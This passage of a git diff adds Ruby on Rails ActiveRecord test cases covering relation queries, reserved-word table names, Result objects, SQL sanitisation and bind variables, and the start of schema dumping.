+    comments     = all_comments.offset(1)
+
+    assert_equal count - 1, comments.update_all(post_id: posts(:thinking).id)
+  end
+
+  def test_update_all_with_joins_and_offset_and_order
+    all_comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("posts.id", "comments.id")
+    count        = all_comments.count
+    comments     = all_comments.offset(1)
+
+    assert_equal count - 1, comments.update_all(post_id: posts(:thinking).id)
+    assert_equal posts(:thinking), comments(:more_greetings).post
+    assert_equal posts(:welcome),  comments(:greetings).post
+  end
+
+  def test_update_on_relation
+    topic1 = TopicWithCallbacks.create! title: "arel", author_name: nil
+    topic2 = TopicWithCallbacks.create! title: "activerecord", author_name: nil
+    topics = TopicWithCallbacks.where(id: [topic1.id, topic2.id])
+    topics.update(title: "adequaterecord")
+
+    assert_equal "adequaterecord", topic1.reload.title
+    assert_equal "adequaterecord", topic2.reload.title
+    # Testing that the before_update callbacks have run
+    assert_equal "David", topic1.reload.author_name
+    assert_equal "David", topic2.reload.author_name
+  end
+
+  def test_update_on_relation_passing_active_record_object_is_not_permitted
+    topic = Topic.create!(title: "Foo", author_name: nil)
+    assert_raises(ArgumentError) do
+      Topic.where(id: topic.id).update(topic, title: "Bar")
+    end
+  end
+
+  def test_distinct
+    tag1 = Tag.create(name: "Foo")
+    tag2 = Tag.create(name: "Foo")
+
+    query = Tag.select(:name).where(id: [tag1.id, tag2.id])
+
+    assert_equal ["Foo", "Foo"], query.map(&:name)
+    assert_sql(/DISTINCT/) do
+      assert_equal ["Foo"], query.distinct.map(&:name)
+    end
+    assert_sql(/DISTINCT/) do
+      assert_equal ["Foo"], query.distinct(true).map(&:name)
+    end
+    assert_equal ["Foo", "Foo"], query.distinct(true).distinct(false).map(&:name)
+  end
+
+  def test_doesnt_add_having_values_if_options_are_blank
+    scope = Post.having("")
+    assert scope.having_clause.empty?
+
+    scope = Post.having([])
+    assert scope.having_clause.empty?
+  end
+
+  def test_having_with_binds_for_both_where_and_having
+    post = Post.first
+    having_then_where = Post.having(id: post.id).where(title: post.title).group(:id)
+    where_then_having = Post.where(title: post.title).having(id: post.id).group(:id)
+
+    assert_equal [post], having_then_where
+    assert_equal [post], where_then_having
+  end
+
+  def test_multiple_where_and_having_clauses
+    post = Post.first
+    having_then_where = Post.having(id: post.id).where(title: post.title)
+      .having(id: post.id).where(title: post.title).group(:id)
+
+    assert_equal [post], having_then_where
+  end
+
+  def test_grouping_by_column_with_reserved_name
+    assert_equal [], Possession.select(:where).group(:where).to_a
+  end
+
+  def test_references_triggers_eager_loading
+    scope = Post.includes(:comments)
+    assert !scope.eager_loading?
+    assert scope.references(:comments).eager_loading?
+  end
+
+  def test_references_doesnt_trigger_eager_loading_if_reference_not_included
+    scope = Post.references(:comments)
+    assert !scope.eager_loading?
+  end
+
+  def test_automatically_added_where_references
+    scope = Post.where(comments: { body: "Bla" })
+    assert_equal ["comments"], scope.references_values
+
+    scope = Post.where("comments.body" => "Bla")
+    assert_equal ["comments"], scope.references_values
+  end
+
+  def test_automatically_added_where_not_references
+    scope = Post.where.not(comments: { body: "Bla" })
+    assert_equal ["comments"], scope.references_values
+
+    scope = Post.where.not("comments.body" => "Bla")
+    assert_equal ["comments"], scope.references_values
+  end
+
+  def test_automatically_added_having_references
+    scope = Post.having(comments: { body: "Bla" })
+    assert_equal ["comments"], scope.references_values
+
+    scope = Post.having("comments.body" => "Bla")
+    assert_equal ["comments"], scope.references_values
+  end
+
+  def test_automatically_added_order_references
+    scope = Post.order("comments.body")
+    assert_equal ["comments"], scope.references_values
+
+    scope = Post.order("#{Comment.quoted_table_name}.#{Comment.quoted_primary_key}")
+    if current_adapter?(:OracleAdapter)
+      assert_equal ["COMMENTS"], scope.references_values
+    else
+      assert_equal ["comments"], scope.references_values
+    end
+
+    scope = Post.order("comments.body", "yaks.body")
+    assert_equal ["comments", "yaks"], scope.references_values
+
+    # Don't infer yaks, let's not go down that road again...
+    scope = Post.order("comments.body, yaks.body")
+    assert_equal ["comments"], scope.references_values
+
+    scope = Post.order("comments.body asc")
+    assert_equal ["comments"], scope.references_values
+
+    scope = Post.order("foo(comments.body)")
+    assert_equal [], scope.references_values
+  end
+
+  def test_automatically_added_reorder_references
+    scope = Post.reorder("comments.body")
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder("#{Comment.quoted_table_name}.#{Comment.quoted_primary_key}")
+    if current_adapter?(:OracleAdapter)
+      assert_equal ["COMMENTS"], scope.references_values
+    else
+      assert_equal ["comments"], scope.references_values
+    end
+
+    scope = Post.reorder("comments.body", "yaks.body")
+    assert_equal %w(comments yaks), scope.references_values
+
+    # Don't infer yaks, let's not go down that road again...
+    scope = Post.reorder("comments.body, yaks.body")
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder("comments.body asc")
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder("foo(comments.body)")
+    assert_equal [], scope.references_values
+  end
+
+  def test_order_with_reorder_nil_removes_the_order
+    relation = Post.order(:title).reorder(nil)
+
+    assert_nil relation.order_values.first
+  end
+
+  def test_reverse_order_with_reorder_nil_removes_the_order
+    relation = Post.order(:title).reverse_order.reorder(nil)
+
+    assert_nil relation.order_values.first
+  end
+
+  def test_presence
+    topics = Topic.all
+
+    # the first query is triggered because there are no topics yet.
+    assert_queries(1) { assert topics.present? }
+
+    # checking if there are topics is used before you actually display them,
+    # thus it shouldn't invoke an extra count query.
+    assert_no_queries { assert topics.present? }
+    assert_no_queries { assert !topics.blank? }
+
+    # shows count of topics and loops after loading the query should not trigger extra queries either.
+    assert_no_queries { topics.size }
+    assert_no_queries { topics.length }
+    assert_no_queries { topics.each }
+
+    # count always trigger the COUNT query.
+    assert_queries(1) { topics.count }
+
+    assert topics.loaded?
+  end
+
+  test "find_by with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by(author_id: 2)
+  end
+
+  test "find_by with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by("author_id = 2")
+  end
+
+  test "find_by with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by("author_id = ?", 2)
+  end
+
+  test "find_by returns nil if the record is missing" do
+    assert_nil Post.all.find_by("1 = 0")
+  end
+
+  test "find_by doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by(author_id: 2) }
+  end
+
+  test "find_by requires at least one argument" do
+    assert_raises(ArgumentError) { Post.all.find_by }
+  end
+
+  test "find_by! with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by!(author_id: 2)
+  end
+
+  test "find_by! with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by!("author_id = 2")
+  end
+
+  test "find_by! with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by!("author_id = ?", 2)
+  end
+
+  test "find_by! doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by!(author_id: 2) }
+  end
+
+  test "find_by! raises RecordNotFound if the record is missing" do
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Post.all.find_by!("1 = 0")
+    end
+  end
+
+  test "find_by! requires at least one argument" do
+    assert_raises(ArgumentError) { Post.all.find_by! }
+  end
+
+  test "loaded relations cannot be mutated by multi value methods" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.where! "foo"
+    end
+  end
+
+  test "loaded relations cannot be mutated by single value methods" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.limit! 5
+    end
+  end
+
+  test "loaded relations cannot be mutated by merge!" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.merge! where: "foo"
+    end
+  end
+
+  test "loaded relations cannot be mutated by extending!" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.extending! Module.new
+    end
+  end
+
+  test "relations with cached arel can't be mutated [internal API]" do
+    relation = Post.all
+    relation.arel
+
+    assert_raises(ActiveRecord::ImmutableRelation) { relation.limit!(5) }
+    assert_raises(ActiveRecord::ImmutableRelation) { relation.where!("1 = 2") }
+  end
+
+  test "relations show the records in #inspect" do
+    relation = Post.limit(2)
+    assert_equal "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>", relation.inspect
+  end
+
+  test "relations limit the records in #inspect at 10" do
+    relation = Post.limit(11)
+    assert_equal "#<ActiveRecord::Relation [#{Post.limit(10).map(&:inspect).join(', ')}, ...]>", relation.inspect
+  end
+
+  test "relations don't load all records in #inspect" do
+    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) do
+      Post.all.inspect
+    end
+  end
+
+  test "already-loaded relations don't perform a new query in #inspect" do
+    relation = Post.limit(2)
+    relation.to_a
+
+    expected = "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>"
+
+    assert_no_queries do
+      assert_equal expected, relation.inspect
+    end
+  end
+
+  test "using a custom table affects the wheres" do
+    post = posts(:welcome)
+
+    assert_equal post, custom_post_relation.where!(title: post.title).take
+  end
+
+  test "using a custom table with joins affects the joins" do
+    post = posts(:welcome)
+
+    assert_equal post, custom_post_relation.joins(:author).where!(title: post.title).take
+  end
+
+  test "#load" do
+    relation = Post.all
+    assert_queries(1) do
+      assert_equal relation, relation.load
+    end
+    assert_no_queries { relation.to_a }
+  end
+
+  test "group with select and includes" do
+    authors_count = Post.select("author_id, COUNT(author_id) AS num_posts").
+      group("author_id").order("author_id").includes(:author).to_a
+
+    assert_no_queries do
+      result = authors_count.map do |post|
+        [post.num_posts, post.author.try(:name)]
+      end
+
+      expected = [[1, nil], [5, "David"], [3, "Mary"], [2, "Bob"]]
+      assert_equal expected, result
+    end
+  end
+
+  test "joins with select" do
+    posts = Post.joins(:author).select("id", "authors.author_address_id").order("posts.id").limit(3)
+    assert_equal [1, 2, 4], posts.map(&:id)
+    assert_equal [1, 1, 1], posts.map(&:author_address_id)
+  end
+
+  test "delegations do not leak to other classes" do
+    Topic.all.by_lifo
+    assert Topic.all.class.method_defined?(:by_lifo)
+    assert !Post.all.respond_to?(:by_lifo)
+  end
+
+  def test_unscope_with_subquery
+    p1 = Post.where(id: 1)
+    p2 = Post.where(id: 2)
+
+    assert_not_equal p1, p2
+
+    comments = Comment.where(post: p1).unscope(where: :post_id).where(post: p2)
+
+    assert_not_equal p1.first.comments, comments
+    assert_equal p2.first.comments, comments
+  end
+
+  def test_unscope_specific_where_value
+    posts = Post.where(title: "Welcome to the weblog", body: "Such a lovely day")
+
+    assert_equal 1, posts.count
+    assert_equal 1, posts.unscope(where: :title).count
+    assert_equal 1, posts.unscope(where: :body).count
+  end
+
+  def test_locked_should_not_build_arel
+    posts = Post.locked
+    assert posts.locked?
+    assert_nothing_raised { posts.lock!(false) }
+  end
+
+  def test_relation_join_method
+    assert_equal "Thank you for the welcome,Thank you again for the welcome", Post.first.comments.join(",")
+  end
+
+  test "#skip_query_cache!" do
+    Post.cache do
+      assert_queries(1) do
+        Post.all.load
+        Post.all.load
+      end
+
+      assert_queries(2) do
+        Post.all.skip_query_cache!.load
+        Post.all.skip_query_cache!.load
+      end
+    end
+  end
+
+  test "#skip_query_cache! with an eager load" do
+    Post.cache do
+      assert_queries(1) do
+        Post.eager_load(:comments).load
+        Post.eager_load(:comments).load
+      end
+
+      assert_queries(2) do
+        Post.eager_load(:comments).skip_query_cache!.load
+        Post.eager_load(:comments).skip_query_cache!.load
+      end
+    end
+  end
+
+  test "#skip_query_cache! with a preload" do
+    Post.cache do
+      assert_queries(2) do
+        Post.preload(:comments).load
+        Post.preload(:comments).load
+      end
+
+      assert_queries(4) do
+        Post.preload(:comments).skip_query_cache!.load
+        Post.preload(:comments).skip_query_cache!.load
+      end
+    end
+  end
+
+  private
+    def custom_post_relation
+      table_alias = Post.arel_table.alias("omg_posts")
+      table_metadata = ActiveRecord::TableMetadata.new(Post, table_alias)
+      predicate_builder = ActiveRecord::PredicateBuilder.new(table_metadata)
+
+      ActiveRecord::Relation.create(Post, table_alias, predicate_builder)
+    end
+end
diff --git a/activerecord/test/cases/reload_models_test.rb b/activerecord/test/cases/reload_models_test.rb
new file mode 100644
index 0000000000..67386725cb
--- /dev/null
+++ b/activerecord/test/cases/reload_models_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/owner"
+require "models/pet"
+
+class ReloadModelsTest < ActiveRecord::TestCase
+  fixtures :pets, :owners
+
+  def test_has_one_with_reload
+    pet = Pet.find_by_name("parrot")
+    pet.owner = Owner.find_by_name("ashley")
+
+    # Reload the class Owner, simulating auto-reloading of model classes in a
+    # development environment. Note that meanwhile the class Pet is not
+    # reloaded, simulating a class that is present in a plugin.
+    Object.class_eval { remove_const :Owner }
+    Kernel.load(File.expand_path("../models/owner.rb", __dir__))
+
+    pet = Pet.find_by_name("parrot")
+    pet.owner = Owner.find_by_name("ashley")
+    assert_equal pet.owner, Owner.find_by_name("ashley")
+  end
+end
diff --git a/activerecord/test/cases/reserved_word_test.rb b/activerecord/test/cases/reserved_word_test.rb
new file mode 100644
index 0000000000..0214dbec17
--- /dev/null
+++ b/activerecord/test/cases/reserved_word_test.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ReservedWordTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_transactional_tests = false
+
+  class Group < ActiveRecord::Base
+    Group.table_name = "group"
+    belongs_to :select
+    has_one :values
+  end
+
+  class Select < ActiveRecord::Base
+    Select.table_name = "select"
+    has_many :groups
+  end
+
+  class Values < ActiveRecord::Base
+    Values.table_name = "values"
+  end
+
+  class Distinct < ActiveRecord::Base
+    Distinct.table_name = "distinct"
+    has_and_belongs_to_many :selects
+    has_many :values, through: :groups
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :select, force: true
+    @connection.create_table :distinct, force: true
+    @connection.create_table :distinct_select, id: false, force: true do |t|
+      t.belongs_to :distinct
+      t.belongs_to :select
+    end
+    @connection.create_table :group, force: true do |t|
+      t.string :order
+      t.belongs_to :select
+    end
+    @connection.create_table :values, force: true do |t|
+      t.belongs_to :group
+    end
+  end
+
+  def teardown
+    @connection.drop_table :select, if_exists: true
+    @connection.drop_table :distinct, if_exists: true
+    @connection.drop_table :distinct_select, if_exists: true
+    @connection.drop_table :group, if_exists: true
+    @connection.drop_table :values, if_exists: true
+    @connection.drop_table :order, if_exists: true
+  end
+
+  def test_create_tables
+    assert_not @connection.table_exists?(:order)
+
+    @connection.create_table :order do |t|
+      t.string :group
+    end
+
+    assert @connection.table_exists?(:order)
+  end
+
+  def test_rename_tables
+    assert_nothing_raised { @connection.rename_table(:group, :order) }
+  end
+
+  def test_change_columns
+    assert_nothing_raised { @connection.change_column_default(:group, :order, "whatever") }
+    assert_nothing_raised { @connection.change_column("group", "order", :text, default: nil) }
+    assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
+  end
+
+  def test_introspect
+    assert_equal ["id", "order", "select_id"], @connection.columns(:group).map(&:name).sort
+    assert_equal ["index_group_on_select_id"], @connection.indexes(:group).map(&:name).sort
+  end
+
+  def test_activerecord_model
+    x = Group.new
+    x.order = "x"
+    x.save!
+    x.order = "y"
+    x.save!
+    assert_equal x, Group.find_by_order("y")
+    assert_equal x, Group.find(x.id)
+  end
+
+  def test_has_one_associations
+    create_test_fixtures :group, :values
+    v = Group.find(1).values
+    assert_equal 2, v.id
+  end
+
+  def test_belongs_to_associations
+    create_test_fixtures :select, :group
+    gs = Select.find(2).groups
+    assert_equal 2, gs.length
+    assert_equal [2, 3], gs.collect(&:id).sort
+  end
+
+  def test_has_and_belongs_to_many
+    create_test_fixtures :select, :distinct, :distinct_select
+    s = Distinct.find(1).selects
+    assert_equal 2, s.length
+    assert_equal [1, 2], s.collect(&:id).sort
+  end
+
+  def test_activerecord_introspection
+    assert Group.table_exists?
+    assert_equal ["id", "order", "select_id"], Group.columns.map(&:name).sort
+  end
+
+  def test_calculations_work_with_reserved_words
+    create_test_fixtures :group
+    assert_equal 3, Group.count
+  end
+
+  def test_associations_work_with_reserved_words
+    create_test_fixtures :select, :group
+    selects = Select.all.merge!(includes: [:groups]).to_a
+    assert_no_queries do
+      selects.each { |select| select.groups }
+    end
+  end
+
+  private
+    # custom fixture loader, uses FixtureSet#create_fixtures and appends base_path to the current file's path
+    def create_test_fixtures(*fixture_names)
+      ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
+    end
+end
diff --git a/activerecord/test/cases/result_test.rb b/activerecord/test/cases/result_test.rb
new file mode 100644
index 0000000000..db52c108ac
--- /dev/null
+++ b/activerecord/test/cases/result_test.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class ResultTest < ActiveRecord::TestCase
+    def result
+      Result.new(["col_1", "col_2"], [
+        ["row 1 col 1", "row 1 col 2"],
+        ["row 2 col 1", "row 2 col 2"],
+        ["row 3 col 1", "row 3 col 2"],
+      ])
+    end
+
+    test "length" do
+      assert_equal 3, result.length
+    end
+
+    test "to_hash returns row_hashes" do
+      assert_equal [
+        { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" },
+        { "col_1" => "row 2 col 1", "col_2" => "row 2 col 2" },
+        { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" },
+      ], result.to_hash
+    end
+
+    test "first returns first row as a hash" do
+      assert_equal(
+        { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" }, result.first)
+    end
+
+    test "last returns last row as a hash" do
+      assert_equal(
+        { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" }, result.last)
+    end
+
+    test "each with block returns row hashes" do
+      result.each do |row|
+        assert_equal ["col_1", "col_2"], row.keys
+      end
+    end
+
+    test "each without block returns an enumerator" do
+      result.each.with_index do |row, index|
+        assert_equal ["col_1", "col_2"], row.keys
+        assert_kind_of Integer, index
+      end
+    end
+
+    test "each without block returns a sized enumerator" do
+      assert_equal 3, result.each.size
+    end
+
+    test "cast_values returns rows after type casting" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [[1, 2.2], [3, 4.4]], result.cast_values
+    end
+
+    test "cast_values uses identity type for unknown types" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = { "col1" => Type::Integer.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [[1, "2.2"], [3, "4.4"]], result.cast_values
+    end
+
+    test "cast_values returns single dimensional array if single column" do
+      values = [["1.1"], ["3.3"]]
+      columns = ["col1"]
+      types = { "col1" => Type::Integer.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [1, 3], result.cast_values
+    end
+
+    test "cast_values can receive types to use instead" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [[1.1, 2.2], [3.3, 4.4]], result.cast_values("col1" => Type::Float.new)
+    end
+  end
+end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
new file mode 100644
index 0000000000..082d663675
--- /dev/null
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -0,0 +1,182 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/binary"
+require "models/author"
+require "models/post"
+
+class SanitizeTest < ActiveRecord::TestCase
+  def setup
+  end
+
+  def test_sanitize_sql_array_handles_string_interpolation
+    quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
+    assert_equal "name='#{quoted_bambi}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi"])
+    assert_equal "name='#{quoted_bambi}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi".mb_chars])
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper")
+    assert_equal "name='#{quoted_bambi_and_thumper}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi\nand\nThumper"])
+    assert_equal "name='#{quoted_bambi_and_thumper}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi\nand\nThumper".mb_chars])
+  end
+
+  def test_sanitize_sql_array_handles_bind_variables
+    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi"])
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi".mb_chars])
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
+  end
+
+  def test_sanitize_sql_array_handles_named_bind_variables
+    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=:name", name: "Bambi"])
+    assert_equal "name=#{quoted_bambi} AND id=1", Binary.send(:sanitize_sql_array, ["name=:name AND id=:id", name: "Bambi", id: 1])
+
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=:name", name: "Bambi\nand\nThumper"])
+    assert_equal "name=#{quoted_bambi_and_thumper} AND name2=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=:name AND name2=:name", name: "Bambi\nand\nThumper"])
+  end
+
+  def test_sanitize_sql_array_handles_relations
+    david = Author.create!(name: "David")
+    david_posts = david.posts.select(:id)
+
+    sub_query_pattern = /\(\bselect\b.*?\bwhere\b.*?\)/i
+
+    select_author_sql = Post.send(:sanitize_sql_array, ["id in (?)", david_posts])
+    assert_match(sub_query_pattern, select_author_sql, "should sanitize `Relation` as subquery for bind variables")
+
+    select_author_sql = Post.send(:sanitize_sql_array, ["id in (:post_ids)", post_ids: david_posts])
+    assert_match(sub_query_pattern, select_author_sql, "should sanitize `Relation` as subquery for named bind variables")
+  end
+
+  def test_sanitize_sql_array_handles_empty_statement
+    select_author_sql = Post.send(:sanitize_sql_array, [""])
+    assert_equal("", select_author_sql)
+  end
+
+  def test_sanitize_sql_like
+    assert_equal '100\%', Binary.send(:sanitize_sql_like, "100%")
+    assert_equal 'snake\_cased\_string', Binary.send(:sanitize_sql_like, "snake_cased_string")
+    assert_equal 'C:\\\\Programs\\\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint')
+    assert_equal "normal string 42", Binary.send(:sanitize_sql_like, "normal string 42")
+  end
+
+  def test_sanitize_sql_like_with_custom_escape_character
+    assert_equal "100!%", Binary.send(:sanitize_sql_like, "100%", "!")
+    assert_equal "snake!_cased!_string", Binary.send(:sanitize_sql_like, "snake_cased_string", "!")
+    assert_equal "great!!", Binary.send(:sanitize_sql_like, "great!", "!")
+    assert_equal 'C:\\Programs\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint', "!")
+    assert_equal "normal string 42", Binary.send(:sanitize_sql_like, "normal string 42", "!")
+  end
+
+  def test_sanitize_sql_like_example_use_case
+    searchable_post = Class.new(Post) do
+      def self.search(term)
+        where("title LIKE ?", sanitize_sql_like(term, "!"))
+      end
+    end
+
+    assert_sql(/LIKE '20!% !_reduction!_!!'/) do
+      searchable_post.search("20% _reduction_!").to_a
+    end
+  end
+
+  def test_bind_arity
+    assert_nothing_raised                                { bind "" }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind "", 1 }
+
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind "?" }
+    assert_nothing_raised                                { bind "?", 1 }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind "?", 1, 1 }
+  end
+
+  def test_named_bind_variables
+    assert_equal "1", bind(":a", a: 1) # ' ruby-mode
+    assert_equal "1 1", bind(":a :a", a: 1)  # ' ruby-mode
+
+    assert_nothing_raised { bind("'+00:00'", foo: "bar") }
+  end
+
+  def test_named_bind_arity
+    assert_nothing_raised                                { bind "name = :name", name: "37signals" }
+    assert_nothing_raised                                { bind "name = :name", name: "37signals", id: 1 }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind "name = :name", id: 1 }
+  end
+
+  class SimpleEnumerable
+    include Enumerable
+
+    def initialize(ary)
+      @ary = ary
+    end
+
+    def each(&b)
+      @ary.each(&b)
+    end
+  end
+
+  def test_bind_enumerable
+    quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')})
+
+    assert_equal "1,2,3", bind("?", [1, 2, 3])
+    assert_equal quoted_abc, bind("?", %w(a b c))
+
+    assert_equal "1,2,3", bind(":a", a: [1, 2, 3])
+    assert_equal quoted_abc, bind(":a", a: %w(a b c)) # '
+
+    assert_equal "1,2,3", bind("?", SimpleEnumerable.new([1, 2, 3]))
+    assert_equal quoted_abc, bind("?", SimpleEnumerable.new(%w(a b c)))
+
+    assert_equal "1,2,3", bind(":a", a: SimpleEnumerable.new([1, 2, 3]))
+    assert_equal quoted_abc, bind(":a", a: SimpleEnumerable.new(%w(a b c))) # '
+  end
+
+  def test_bind_empty_enumerable
+    quoted_nil = ActiveRecord::Base.connection.quote(nil)
+    assert_equal quoted_nil, bind("?", [])
+    assert_equal " in (#{quoted_nil})", bind(" in (?)", [])
+    assert_equal "foo in (#{quoted_nil})", bind("foo in (?)", [])
+  end
+
+  def test_bind_empty_string
+    quoted_empty = ActiveRecord::Base.connection.quote("")
+    assert_equal quoted_empty, bind("?", "")
+  end
+
+  def test_bind_chars
+    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi}", bind("name=?", "Bambi")
+    assert_equal "name=#{quoted_bambi_and_thumper}", bind("name=?", "Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi}", bind("name=?", "Bambi".mb_chars)
+    assert_equal "name=#{quoted_bambi_and_thumper}", bind("name=?", "Bambi\nand\nThumper".mb_chars)
+  end
+
+  def test_bind_record
+    o = Class.new {
+      def quoted_id
+        1
+      end
+    }.new
+    assert_deprecated { assert_equal "1", bind("?", o) }
+
+    os = [o] * 3
+    assert_deprecated { assert_equal "1,1,1", bind("?", os) }
+  end
+
+  def test_named_bind_with_postgresql_type_casts
+    l = Proc.new { bind(":a::integer '2009-01-01'::date", a: "10") }
+    assert_nothing_raised(&l)
+    assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call
+  end
+
+  private
+    def bind(statement, *vars)
+      if vars.first.is_a?(Hash)
+        ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first)
+      else
+        ActiveRecord::Base.send(:replace_bind_variables, statement, vars)
+      end
+    end
+end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
new file mode 100644
index 0000000000..01ec3e06ad
--- /dev/null
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -0,0 +1,477 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class SchemaDumperTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+  self.use_transactional_tests = false
+
+  setup do
+    ActiveRecord::SchemaMigration.create_table
+  end
+
+  def standard_dump
+    @@standard_dump ||= perform_schema_dump
+  end
+
+  def perform_schema_dump
+    dump_all_table_schema []
+  end
+
+  def test_dump_schema_information_with_empty_versions
+    ActiveRecord::SchemaMigration.delete_all
+    schema_info = ActiveRecord::Base.connection.dump_schema_information
+    assert_no_match(/INSERT INTO/, schema_info)
+  end
+
+  def test_dump_schema_information_outputs_lexically_ordered_versions
+    versions = %w{ 20100101010101 20100201010101 20100301010101 }
+    versions.reverse_each do |v|
+      ActiveRecord::SchemaMigration.create!(version: v)
+    end
+
+    schema_info = ActiveRecord::Base.connection.dump_schema_information
+    assert_match(/20100201010101.*20100301010101/m, schema_info)
+  ensure
+    ActiveRecord::SchemaMigration.delete_all
+  end
+
+  if current_adapter?(:SQLite3Adapter)
+    %w{3.7.8 3.7.11 3.7.12}.each do |version_string|
+      test "dumps schema version for sqlite version #{version_string}" do
+        version = ActiveRecord::ConnectionAdapters::SQLite3Adapter::Version.new(version_string)
+        ActiveRecord::Base.connection.stubs(:sqlite_version).returns(version)
+
+        versions = %w{ 20100101010101 20100201010101 20100301010101 }
+        versions.reverse_each do |v|
+          ActiveRecord::SchemaMigration.create!(version: v)
+        end
+
+        schema_info = ActiveRecord::Base.connection.dump_schema_information
+        assert_match(/20100201010101.*20100301010101/m, schema_info)
+        ActiveRecord::SchemaMigration.delete_all
+      end
+    end
+  end
+
+  def test_schema_dump
+    output = standard_dump
+    assert_match %r{create_table "accounts"}, output
+    assert_match %r{create_table "authors"}, output
+    assert_no_match %r{(?<=, ) do \|t\|}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+    assert_no_match %r{create_table "ar_internal_metadata"}, output
+  end
+
